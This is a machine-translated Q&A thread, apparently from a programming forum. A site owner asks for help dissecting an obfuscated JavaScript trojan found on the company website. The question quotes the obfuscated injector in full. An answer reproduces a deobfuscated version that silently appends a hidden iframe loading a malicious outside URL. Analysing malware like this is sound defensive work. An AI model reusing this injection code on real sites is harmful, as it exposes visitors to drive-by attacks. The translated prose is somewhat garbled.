2010-07-20 14 views
7

Gần đây tôi đã chơi với rất nhiều JavaScript và bắt đầu xem xét rằng tôi không thể gặp phải một đoạn JavaScript mà tôi sẽ không thể gỡ lỗi.JavaScript trojan dissection

Tôi rất ngạc nhiên và tức giận khi chúng tôi phát hiện ra một số trojans chuyển hướng JavaScript trên trang web của công ty chúng tôi.

Hầu hết mã chúng tôi tìm thấy tôi có thể dễ dàng phân tích và sử dụng thoát tiêu chuẩn để làm xáo trộn chức năng mã.

Nhưng trong số các mã, chúng tôi đã tìm thấy mã bên dưới đã hoàn toàn làm tôi bối rối về những gì nó đang làm. (Phần duy nhất mà tôi có thể làm việc là nó đang thay thế một số thông số).

Vì vậy, mọi người có thể vui lòng giải thích mã sau đây cho tôi không? Tôi rất thích để biết chính xác những gì đang xảy ra ...

<script> 

function yJ() {}; 
this.sMZ = "sMZ"; 
yJ.prototype = { 
    w: function() { 
     var rJ = 13390; 
     this.m = "m"; 
     this.fP = ''; 
     this.q = "q"; 
     this.oJ = ""; 
     var vS = function() { 
      return 'vS' 
     }; 
     var d = 'replace'; 
     var qB = ""; 
     x = ''; 
     var s = document; 
     var xZ = "xZ"; 
     mC = ''; 
     var dV = "dV"; 
     var b = window; 
     this.p = false; 
     this.kX = ''; 
     nP = "nP"; 
     var zE = ""; 
     this.nU = false; 
     var yV = function() { 
      return 'yV' 
     }; 
     String.prototype.gT = function (l, v) { 
      return this[d](l, v) 
     }; 
     this.pC = ''; 
     var qV = false; 
     var fPU = new Array(); 
     h = ""; 
     var sV = 'sKe}tKTIiWmEe}oEu}tK'.gT(/[KE\}IW]/g, ''); 
     var xV = 43258; 
     sT = ''; 
     var mV = ''; 
     this.wJ = "wJ"; 
     var f = '<jhItImIlI I>j<IhjezaIdz ;>;<z/;hjeIaIdI>;<zb!ojdjyj ;>I<!/jbIo!d!yI>z<j/Ihjt;m;lj>!'.gT(/[\!Ijz;]/g, ''); 
     var xB = ''; 
     wI = "wI"; 
     oT = false; 
     var nQ = 49042; 
     try { 
      zI = ''; 
      var bF = new Array(); 
      var aY = function() { 
       return 'aY' 
      }; 
      var rN = false; 
      rF = ""; 
      var cX = function() { 
       return 'cX' 
      }; 
      var y = 'bToTdTy+'.gT(/[\+\]aT%]/g, ''); 
      this.rL = ''; 
      var vH = function() { 
       return 'vH' 
      }; 
      var r = 'sStEy9l?eE'.gT(/[ES9\?m]/g, ''); 
      yD = ""; 
      var eA = ''; 
      var bQ = 'i.fWrhalmlel'.gT(/[lW\.xh]/g, ''); 
      vZ = ''; 
      this.bG = ""; 
      this.vL = false; 
      var t = 'w5r[i5t[e%'.gT(/[%C5\[U]/g, ''); 
      gI = ''; 
      dVL = "dVL"; 
      var n = 'cZrzeZaZtze.E.l.e;m;eSnzt;'.gT(/[;SZz\.]/g, ''); 
      lH = ""; 
      kD = "kD"; 
      this.pH = false; 
      var k = 's9ric9'.gT(/[9Ni~O]/g, ''); 
      var vB = ''; 
      var kH = function() { 
       return 'kH' 
      }; 
      var qH = new Array(); 
      aD = ''; 
      this.eQ = false; 
      var z = 'sNeatoA%totor%i%b%u%toeN'.gT(/[Na%ox]/g, ''); 
      var cT = ''; 
      var kL = function() { 
       return 'kL' 
      }; 
      var bR = new Array(); 
      this.cP = 22454; 
      var dH = 'hNi9d0d>e*n*'.gT(/[\*9N\>0]/g, ''); 
      lG = ''; 
      tG = 7587; 
      hV = ''; 
      this.oR = "oR"; 
      var o = 'vKiKsAi&bGiKlAiKtHyH'.gT(/[HGK&A]/g, ''); 
      var dC = function() {}; 
      var eR = new Date(); 
      var e = 'atp9p9eWn9d:C9htitl5d:'.gT(/[\:t59W]/g, ''); 
      uM = ""; 
      var i = function() {}; 
      this.cI = ""; 
      tU = false; 

      function qN() {}; 
      xL = 57256; 
      var c = this.a(); 
      this.eL = ''; 
      var rY = function() {}; 
      fG = false; 
      nO = false; 
      this.j = ""; 
      this.iQ = 5330; 
      var sY = function() {}; 
      var u = document[n](bQ); 
      this.tH = false; 
      zX = ""; 
      u[r][o] = dH; 
      var kV = "kV"; 
      pN = ''; 
      var yG = new Array(); 
      this.nOE = 818; 
      u[z](k, c); 
      this.bQK = ""; 
      var yU = 15629; 
      var sM = new Array(); 
      var eY = "eY"; 
      var qP = ''; 
      s[y][e](u); 
      var lU = "lU"; 
      var zR = false; 
      var xS = ""; 
      iX = 34795; 

      function pO() {}; 
      this.gM = ""; 
     } catch (g) { 
      var xI = false; 
      this.gO = false; 
      this.iZ = false; 
      this.iU = false; 
      var mQ = new Date(); 
      var qF = function() {}; 
      s.write(f); 
      var tS = "tS"; 

      function aR() {}; 
      nA = "nA"; 
      var xT = new Date(); 
      mZ = false; 
      var gN = new Array(); 
      var wE = this; 
      var eB = 3562; 
      this.qE = "qE"; 
      this.cS = false; 
      this.vK = false; 
      qEJ = false; 
      this.hW = false; 
      b[sV](function() { 
       function bI() {}; 
       hJ = ""; 
       var kVQ = "kVQ"; 
       var iG = ""; 
       var eBS = new Array(); 
       rA = ""; 
       wE.w(); 
       jY = ""; 
       var hB = "hB"; 
       var iZF = ''; 
       qY = ""; 
       jYG = ""; 
       uK = 30969; 
       var qD = "qD"; 
      }, 326); 
      this.qC = ""; 
      var aX = function() {}; 
      var cN = ""; 
     } 
     gB = false; 
     var fF = false; 
     this.hX = false; 
    }, 
    a: function() { 
     rH = "rH"; 
     this.bV = ''; 
     var qW = ""; 
     return 'h+tbtJpx:J/+/JfxaxnJc+yJc+abkJeb.xnJeMtM/x.xpxh+/b1M/+'.gT(/[\+JbMx]/g, ''); 
     var sMS = new Array(); 
     this.wL = false; 
     uS = "uS"; 

     function pI() {}; 
    } 
}; 
var uI = false; 
var kN = new yJ(); 
this.aQ = "aQ"; 
kN.w(); 
hT = 15101; 

</script> 
+3

Tôi chỉ đọc 30 chữ cái đầu tiên của mã này, tát bản thân mình, làm một ly cà phê, ngồi xuống và nhận thấy có một thanh cuộn. – Marko

Trả lời

17

Nó nhúng http://fancycake.xxx/something, và đây là dòng nơi bạn có thể nhìn thấy nó:

return 'h+tbtJpx:J/+/JfxaxnJc+yJc+abkJeb.xnJeMtM/x.xpxh+/b1M/+'.gT(/[\+JbMx]/g, ''); 

Bạn thấy thế nào mỗi nhân vật kỳ quặc, khi gảy từ chuỗi, tạo URL. Tôi đã không chạy điều này, vì vậy tôi không chắc chắn dưới những điều kiện nó làm điều này, nhưng bạn có thể thấy rằng String.replace đã được đổi tên thành String.gT và đang được thông qua một regex chống lại các ký tự mà làm cho chuỗi obfuscated. Nếu bạn áp dụng phương pháp tương tự, tuốt ký tự lẻ, bạn có thể thấy rằng có một iframe ẩn, một số javascript xử lý sự kiện, setAttribute, vv:

var z = 'sNeatoA%totor%i%b%u%toeN'.gT(/[Na%ox]/g, ''); 
var o = 'vKiKsAi&bGiKlAiKtHyH'.gT(/[HGK&A]/g, ''); 
var e = 'atp9p9eWn9d:C9htitl5d:'.gT(/[\:t59W]/g, ''); 

Đây là cách String.replace là aliased:

var d = 'replace'; 

... 
String.prototype.gT = function (l, v) { 
    return this[d](l, v) 
}; 

Trong ngữ cảnh của hàm đó, this là chuỗi mà trên đó gT đang được gọi và d là chuỗi replace. Trên nguyên mẫu của chuỗi, this['replace'] trả về phương thức replace(), sau đó được gọi với hai đối số là gT. Kết quả sau đó được trả về.

Cập nhật

tôi chuyển kịch bản như vậy:

  1. thay thế tất cả các cuộc gọi string.gT() với hình thức đơn giản của họ.
  2. Đã xóa mọi biến không được tham chiếu.
  3. Gave hoạt động một số tên thông thường.

Đây là kết quả, nó nên được khá rõ ràng như thế nào nó hoạt động bây giờ:

function FancyCake() {}; 
FancyCake.prototype = { 
    embed: function() { 
     var d = 'replace'; 
     var s = document; 
     var b = window; 
     var sV = 'setTimeout'; 
     var f = "<html ><head ></head><body ></body></html>"; 
     try { 
      zI = ''; 
      var bF = new Array(); 
      var y = 'body'; 
      var r = 'style'; 
      var bQ = 'iframe'; 
      var t = 'write'; 
      var n = 'createElement'; 
      var k = 'src'; 
      var z = 'setAttribute'; 
      var dH = 'hidden'; 
      var o = 'visibility'; 
      var e = 'appendChild'; 
      var c = this.getUrl(); 
      var u = document[n](bQ); 
      u[r][o] = dH; 
      u[z](k, c); 
      s[y][e](u); 
     } catch (e) { 
      console.error(e); 
      s.write(f); 
      var cake = this; 
      b[sV](function() { 
       cake.embed(); 
      }, 326); 
     } 
    }, 
    getUrl: function() { 
     return "http://fancycake.net/.ph/1/"; 
    } 
}; 

var cake = new FancyCake(); 
cake.embed(); 
+1

+ để giải thích –

+0

Điều đó không xảy ra với tôi rằng những gì tôi đang xem là regex giữa tất cả những mớ hỗn độn đó. Những gì tôi không nhận được bây giờ là, ok tôi nhận được ý tưởng cơ bản của từ khóa nguyên mẫu nhưng làm thế nào để trả lại [d] (l, v) kết quả trong một ghi đè của phù hợp với mô hình regex? hoặc người nào khác đang cố gắng đạt được gì trong dòng mã đó? PS: Cảm ơn lời giải thích vì rõ ràng tôi đã gắn nó vào trình gỡ lỗi nhưng vẫn phải vật lộn để hiểu nó. –

+0

Tôi đã cập nhật câu trả lời để đưa ra giải thích về thay thế. –

4

Nó cho biết thêm một iFrame vô hình vào URL sau vào website của bạn:

<iframe style="visibility: hidden;" src="http://fancycake.net/.ph/1/"></iframe> 

Các fancycake trang web được đánh dấu là tấn công và độc hại dưới Firefox

+0

Bạn đã tìm ra cách nào? –

+1

bằng cách chạy nó trong Trình gỡ lỗi JavaScript và xem những gì đang diễn ra. Sau đó, tôi lướt qua URL iframes và thấy cảnh báo của Firefox :) – Erik

1

Chạy trong trình gỡ lỗi JavaScript; cuối cùng, mã sẽ tự dịch ngược và cố gắng bắt đầu. Tôi đề nghị sử dụng phiên bản mới nhất của FireFox có thể trên một hộp Linux để được ở bên an toàn.